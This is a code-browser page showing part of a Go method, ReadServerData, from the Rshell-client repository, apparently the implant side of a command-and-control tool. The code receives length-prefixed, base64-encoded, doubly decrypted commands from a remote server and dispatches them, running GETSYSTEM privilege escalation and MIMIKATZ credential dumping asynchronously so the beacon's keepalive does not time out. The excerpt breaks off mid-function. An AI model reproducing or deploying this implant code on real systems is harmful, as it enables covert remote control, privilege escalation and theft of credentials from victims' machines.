MCPcopy Create free account
hub / github.com/Rubby2001/Rshell-client / ReadServerData

Method ReadServerData

Reacon_tcp/main.go:83–235  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

81
82func (s *TCPClient) ReadServerData() {
83 if s.Client == nil || !s.IsConnected {
84 s.IsConnected = false
85 return
86 }
87
88 n, err := s.Client.Read(s.Buffer)
89 if err != nil {
90 s.IsConnected = false
91 return
92 }
93
94 if n == 4 {
95 s.MS.Write(s.Buffer)
96 s.BufferSize = int64(binary.BigEndian.Uint32(s.MS.Bytes()))
97 s.MS.Reset()
98
99 if s.BufferSize > 0 {
100 s.Buffer = make([]byte, s.BufferSize)
101 for int64(s.MS.Len()) != s.BufferSize {
102 rc, err := s.Client.Read(s.Buffer)
103 if err != nil {
104 s.IsConnected = false
105 return
106 }
107 s.MS.Write(s.Buffer[:rc])
108 s.Buffer = make([]byte, s.BufferSize-int64(s.MS.Len()))
109 }
110 if int64(s.MS.Len()) == s.BufferSize {
111 data := s.MS.Bytes()
112 if data != nil {
113 totalLen := len(data)
114 if totalLen > 0 {
115 rawData, err := encrypt.DecodeBase64(data)
116 if err != nil {
117 fmt.Println(err)
118 }
119 data, err = encrypt.Decrypt(rawData)
120 if err != nil {
121 fmt.Println(err)
122 }
123 decrypted, err := encrypt.Decrypt(data)
124 if err != nil {
125 communication.ErrorProcess(err)
126 fmt.Println(err)
127 }
128 if len(decrypted) < 4 {
129 return
130 }
131 cmdType := binary.BigEndian.Uint32(decrypted[:4])
132 cmdBuf := decrypted[4:]
133
134 // Long-running commands run async so keepalive doesn't time out
135 if cmdType == services.GETSYSTEM || cmdType == services.MIMIKATZ {
136 go func(ct uint32, cb []byte) {
137 result, callbackType, err := services.DispatchCommand(ct, cb)
138 if err != nil {
139 communication.ErrorProcess(err)
140 } else if callbackType >= 0 {

Callers 1

InitializeClientMethod · 0.95

Calls 3

ReadMethod · 0.45
WriteMethod · 0.45
BytesMethod · 0.45

Tested by

no test coverage detected